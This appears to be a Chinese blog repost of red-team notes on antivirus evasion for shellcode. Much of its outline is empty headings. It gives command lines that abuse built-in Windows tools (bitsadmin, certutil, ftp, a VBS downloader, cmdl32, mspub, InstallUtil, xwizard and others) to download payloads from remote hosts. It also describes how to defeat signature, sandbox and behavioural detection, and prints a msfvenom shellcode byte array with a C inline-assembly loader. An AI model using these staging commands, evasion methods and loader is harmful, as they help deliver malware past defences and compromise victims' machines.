本文主要是介绍红队系列-shellcode AV evasion免杀合集,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
shellcode免杀
- 文件落地
- Bitsadmin
- Certutil
- FTP
- cscript
- cmdl32
- Mspub.exe
- ConfigSecurityPolicy.exe
- Installutil
- Presentationhost.exe
- Xwizard.exe
- 图标PDF的LNK恶意文件
- LNK恶意文件调用CMD程序生成执行BAT脚本,并创建计划任务
- 解码生成的BAT脚本,从远程服务器上下载生成恶意JS脚本,并删除之前创建的计划任务
- 概念了解
- AV检测方式
- 静态扫描引擎
- 特征码扫描识别
- 文件效验和法
- 静态免杀
- 监控
- 进程行为检测(沙盒模式)VT
- 云查杀
- 行为动态主动防御
- shellcode
- 加载器
- 嵌入汇编加载 x86 x64 肯定x86
- 动态内存加载
- 指针执行
- C++
- 强制类型转换
- 汇编花指令
- 执行器
- 经典Dll注入
- 远程线程注入
- 资源加载shellcode
- APC 异步过程调用 注入
- 绕过查杀思路/技术
- 分类
- 静态免杀
- 找特征码
- 针对有源码手工查找
- 免杀工具
- 手工修改
- 非源码
- 源码
- 盲杀
- 工具免杀(盲免杀)
- 资源操作
- PE操作
- 注意/技巧
- 行为免杀
- 修改特征
- 花指令免杀
- 加壳免杀
- c++ stub DLL壳
- 内存扫描免杀=》卡巴斯基
- 分离免杀
- 远程加载
- 加密
- AES加密
- 编码
- XOR异或
- hex编码
- 资源修改
- 白名单免杀
- 扰乱分析
- SysWhispers
- 游击战术反复横跳=》进程触发win异常
- 反沙箱
- 进程数量
- 运行时间
- 计算机名和用户名
- 免杀方式统计
- 参考链接
- EDR产品一览
- 国内
- 360全家桶
- 360核晶引擎
- 火绒
- 腾讯电脑管家
- 安全狗
- 金山毒霸
- 瑞星
- 国外
- Windwos Defener
- Kaspersky 卡巴斯基
- ESET Nod32
- Norton
- McAfee
- AVAST
- AVG
- 科摩多
- 火眼
- 诺顿
- Symantec
- 小红伞
- 恶意代码分析实战shellcode分析
- 参考文章
- 伪装成花旗银行对帐单的窃密攻击活动
文件落地
先将文件传输到目标,
用到一些命令行中的下载命令如BITSAdmin、Certutil、HH等
Bitsadmin
BITSAdmin 是一个命令行工具,用于创建下载或上传作业并监视作业的进度。
where Bitsadmin
C:\Windows\System32\bitsadmin.exe支持系统 WindowsServer 2022、
WindowsServer 2019、
Windows Server 2016、
Windows Server 2012、
Windows 10、Windows7bitsadmin /transfer myDownLoadJob /download /priority normal "http://url/a.ps1" "c:\b.ps1"
bitsadmin /rawreturn /transfer getfile http://url/s.zip c:\s1.zip
bitsadmin /rawreturn /transfer getpayload http://url/c.zip c:\c1.zip
Certutil
certutil是Windows自带的证书管理工具,
具有下载文件,校验文件MD5、SHA1、SHA256,文件base64编码等功能。where certutil
C:\Windows\System32\certutil.exe支持系统: windows保存文件并指定新文件名
certutil.exe -urlcache -split -f http://url/1.txt file.jsp
注:使用下载,会在工具缓存目录产生缓存文件缓存路径
C:\Users\xq\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
查看缓存项目:certutil.exe -urlcache *
FTP
将文件传输到运行文件传输协议的计算机 (ftp) 服务器服务。
可以通过处理 ASCII 文本文件以交互方式或在批处理模式下使用此命令。
文件路径:
C:\Windows\System32\ftp.exe
支持系统: windows
用法:
cmd无交互
echo open 192.168.225.79>ftp.txt
echo user>>ftp.txt
echo pass>>ftp.txt
echo get /sd.exe>>ftp.txt
echo quit>>ftp.txt@ftp -s:ftp.txt
VBS脚本
cscript
在windows中还支持一种VBS后缀脚本语言,可看作VB语言的简化版
文件路径:
C:\Windows\System32
支持系统: windows
用法:
cmd无交互echo Set Post = CreateObject("Msxml2.XMLHTTP") >> download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >> download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >> download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >> download.vbs
echo aGet.Mode = 3 >> download.vbs
echo aGet.Type = 1 >> download.vbs
echo aGet.Open() >> download.vbs
echo aGet.Write(Post.responseBody) >> download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >> download.vbs#执行
cscript downfile.vbs
cmdl32
Microsoft 连接管理器自动下载。
文件路径:
where cmdl32.exe
C:\Windows\System32\cmdl32.exe
支持系统:
WindowsVista、
Windows7、
Windows8、
Windows8.1、
Windows10、
Windows11
从配置文件中指定的网址下载文件。下载的文件将位于名称 VPNXXXX.tmp 下的 %TMP% 中
用法:
创建文本 1.txt[Connection Manager]
CMSFile=1.txt
ServiceName=WindowsUpdate
TunnelFile=1.txt
[Settings]
UpdateUrl=http://192.168.3.114:81/test.txt#赋予权限,设置缓存位置,并下载
icacls %cd% /deny %Username%:(OI)(CI)(DE,DC)
set tmp=%cd%
cmdl32 /vpn /lan %cd%\1.txt#删除权限,否则无法操作文件
icacls %cd% /remove:d %username%TMP文件
Mspub.exe
mspub.exe是属于Microsoft Publisher产品的主要流程,允许制作商业和个人时事通讯和出版物。包含在office套件中。
文件路径:
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
C:\Program Files\Microsoft Office\Office16\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
C:\Program Files\Microsoft Office\Office15\MSPUB.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
C:\Program Files\Microsoft Office\Office14\MSPUB.exeC:\Program Files (x86)\Microsoft Office\Office
C:\Users\amingMM\AppData\Local\Microsoft\WindowsApps\mspub.exe
支持系统:
Windows 10、
Windows 11
该命令将下载远程文件并放入缓存文件夹%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE
Loacl/Microsoft用法:该方法依赖offce套件,执行后将会打开publisher应用窗口。从远程服务器下载负载mspub.exe https://example.com/aaaa
ConfigSecurityPolicy.exe
Defender文件,用于管理Windows Defender中的设置。
文件路径:
C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe
支持系统:
Windows 10、
Windows 11
用法:
该命令将下载远程文件并放入缓存文件夹 win10:
%LOCALAPPDATA%\Microsoft\Windows\INetCache\IEConfigSecurityPolicy.exe https://example.com/aaaa
Installutil
是一个命令行实用程序,允许通过在指定程序集中执行安装程序组件来安装和卸载。
此工具与System.Configuration.Install命名空间中的类一起工作。
文件路径:
C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727
C:\Windows\Microsoft.NET\Framework\v4.0.30319
支持系统:
Windows vista、
Windows 7、
Windows 8、
Windows 8.1、
Windows 10、
Windows 11
用法:
该命令将下载远程文件并放入缓存文件夹
win10:%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
win7:%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
InstallUtil.exe https://www.baidu.com/img/flexible/logo/pc/result.png
Presentationhost.exe
它使 WPF 应用程序可承载于兼容的浏览器,用于运行XAML浏览器应用程序 .
文件路径:
C:\Windows\System32\Presentationhost.exeC:\Windows\SysWOW64\Presentationhost.exeC:\Windows\System32\PresentationHost.exe
支持系统:
Windows vista、
Windows 7、
Windows 8、
Windows 8.1、
Windows 10、
Windows 11
用法:
该方法是调用IE浏览器下载,会弹出ie窗口及文件保存窗口,此时无需保存,文件已存在缓存目录内
该命令将下载远程文件并放入缓存文件夹win10:%LOCALAPPDATA%\Microsoft\Windows\INetCache\IEwin7:%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
Presentationhost.exe https://www.baidu.com/img/flexible/logo/pc/result.png
Xwizard.exe
执行已添加到注册表的自定义类或使用Xwizard.exe下载
文件路径:
C:\Windows\System32\xwizard.exe
支持系统:
Windows vista,
Windows 7,
Windows 8,
Windows 8.1,
Windows 10,
Windows 11
用法:
使用该方法时,会弹出错误警告窗口。但文件已经存入ie缓存目录Xwizard.exe使用RemoteApp和桌面连接向导下载文件,并将其保存到%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>
或
%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Filesxwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z
https://www.baidu.com/img/flexible/logo/pc/result.png
图标PDF的LNK恶意文件
LNK恶意文件调用CMD程序生成执行BAT脚本,并创建计划任务
解码生成的BAT脚本,从远程服务器上下载生成恶意JS脚本,并删除之前创建的计划任务
概念了解
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,
英文为Anti-AntiVirus(简写Virus AV),
逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
反病毒安全软件 anti-virus security software
反病毒(AntiVirus)
反间谍(AntiSpyware)
英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
也就是我们常说的bypass AV
AV检测方式
静态扫描引擎
对压缩文件进行分析检查
保护程序避免被恶意程序修改窜改
对恶意程序所破坏的文件还原
扫描常用磁盘,系统关键位置
扫描电脑全盘文件
保护电脑不受勒索软件的攻击
电脑开机时自动扫描
特征码扫描识别
扫描信息与一直更新的病毒数据库进行对比,
信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染。
挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码;
在病毒样本中,抽取特征代码;抽取的代码比较特殊,不大可能与普通正常程序代码吻合;抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面保证病毒扫描时候不要有太大的空间与时间的开销。
文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断);
内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码优点:速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。
文件效验和法
对文件进行扫描后,可以将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存;在文件使用过程中,定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,因而可以发现文件是否感染病毒。
静态免杀
## 免杀工具
常用的修改工具有,OD,C32ASM,UE,010Editor等等### 手工修改
#### 非源码
1. 数据如果特征码定位到`数据`(通过IDA/OD等确认),
其实不好修改,稍微不慎就会导致程序不能运行,
或者影响程序运行流程或结果。`字符串`,如果不影响程序逻辑,可以替换大小写;
如果无关紧要的数据,随意替换;等等,看情况而定。`整数`,如果不影响结果,替换值,清零等等操作。`地址`,基本应该不能修改,具体看情况。`PE头数据`,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。最后,终极修改方法,找到访问数据的代码,
直接修改代码访问数据的地址,数据也可以放到其他地址了,
其实就如`同修改源码`一样修改,肯定没有修改源码那么容易(见后)。反正特征码定位到数据位置不容易修改(可以再试试后面的盲免杀)。2. 代码如果特征码定位到代码(也通过IDA/OD等确认),在不改变程序功能基础上,应用各种方法修改。`等价替换`汇编代码,
如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。`交换代码顺序`,在不影响逻辑的情况下。`代码块移位`,将代码块移动不用的内存位置,
通过加入jmp addr跳过去执行,addr是新的代码块地址。#### 源码
在有源码的情况下,修改的方式就更灵活了,更简单了。如果特征码是数据,那么`修改数据位置`,`访问数据的代码位置`等(思想类比非源码方式)。加`花指令`,这是最有效也是最常用的方式,要点在于如何加hua指令。加`数据计算代码`,加减乘除各类组合。加`字符串操作代码`,增加、删除、查找、替换等。加`多层跳转`,跳转间加`无效指令`(不会执行的)。加貌似`有效的API调用`,如LoadLibrary+GetProcAddr+API等。# 盲杀
## 工具免杀(盲免杀)
在没找到有效的特征码,或者不好修改的时候,可以试试这种方式。### 资源操作
1. 加资源使用ResHacker对文件进行资源操作,
找来多个正常软件,将它们的资源加入到自己软件,
如图片,版本信息,对话框等。2. 替换资源使用ResHacker替换无用的资源(Version等)。3. 加签名使用签名伪造工具,将正常软件的签名信息加入到自己软件中。几种方式可以交替重复多次进行组合使用。### PE操作
1. PE优化使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。2. 增加节增加节数据,随意加入无效数据。### 加壳
可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。通过加密器/压缩器将原始代码进行加密压缩,
让其特征码变化隐藏,
然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,
将加密压缩内容解密解压,然后继续运行原始代码。1. 加冷门壳壳也有特征,知名壳都已经被分析的非常多了,杀软基本都能查这类壳,或者自动脱壳,然后进行查杀。所以加冷门壳,壳特征未被分析,不能自动脱壳,可以更好隐藏原始代码,得到免杀效果。2. 加壳改壳将常用壳进行修改,让壳特征变化,也可以让杀软失效。比如修改入口,区段信息修改,入口代码移位。可以类比为免杀壳。# 注意/技巧
非源码修改时,通过OD能够更好的完成,配合IDA进行观察。源码免杀加花,要灵活多变,不拘于形式。行为免杀多尝试,猜出杀软拦截策略,能够更有效的找到绕过方式。我们不做坏事,但是可以了解做坏事的手段,更好的破坏防御这些手段。
监控
内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控读取到内存中的文件;监控读取到内存的网络数据。
文件监控:当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警
邮件监控:当发现电子邮件的附件存在病毒时进行拦截。office钓鱼 宏病毒 这种
网页防护:阻止网络攻击和不安全下载。mshta js脚本
行为防护:提醒用户可疑的应用程序行为。低危 和中
进程行为检测(沙盒模式)VT
行为检测通过hook关键api,以及对各个高危的文件、组件做监控防止恶意程序对系统修改。
只要恶意程序对注册表、启动项、系统文件等做操作就会触发告警。
最后,行为检测也被应用到了沙箱做为动态检测,对于避免沙箱检测的办法有如下几个:
延时执行,部分沙箱存在运行时间限制
沙箱检测,对诸如硬盘容量、内存、虚拟机特征做检测
部分沙箱会对文件重命名,可以检测自身文件名是否被更改
云查杀
病毒库由客户端移至服务端
客户端提取特征上传,在云端检测到对应特征所标明的是否病毒状态,并返回
客户端上传特征,在云端无法检测到,则上传文件,文件通过杀软系统进行评判,得出总评分,对于无结果的,进行鉴定系统评分,总共得出结果返回给用户,并入云端库
云查杀的特点基本也可以概括为特征查杀。
行为动态主动防御
杀毒软件现在都会有主防的功能,对恶意行为进行拦截提示。
主动防御并不需要病毒特征码支持,只要杀毒软件能分析并扫描到目标程序的行为,并根据预先设定的规则,判定是否应该进行清除操作
比如这些行为:
注册表操作,添加启动项,添加服务
文件写入、读系统文件、删除文件,移动文件
杀进程,创建进程
注入、劫持等
参考360的主动防御
行为拦截原理
恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。
杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。
关键点:API策略(顺序,调用源,参数等等)
shellcode
是一小段代码,用于利用软件漏洞作为有效载荷。
它通常启动一个命令shell,攻击者可以从这个shell控制受损的计算机,
执行类似任务的任何代码都可以被称为shellcode。
因为有效载荷(payload)的功能不仅限于生成shell
简单来说:shellcode就是汇编,16进制
例如,CS可以直接生成各种格式的shellcode
测试样例// msfvenom -p windows/exec CMD=calc.exe -f c"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
加载器
嵌入汇编加载 x86 x64 肯定x86
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口unsigned char shellcode[] = "你的shellcode";
void main()
{__asm{mov eax, offset shellcodejmp eax}
}
这篇关于红队系列-shellcode AV evasion免杀合集的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!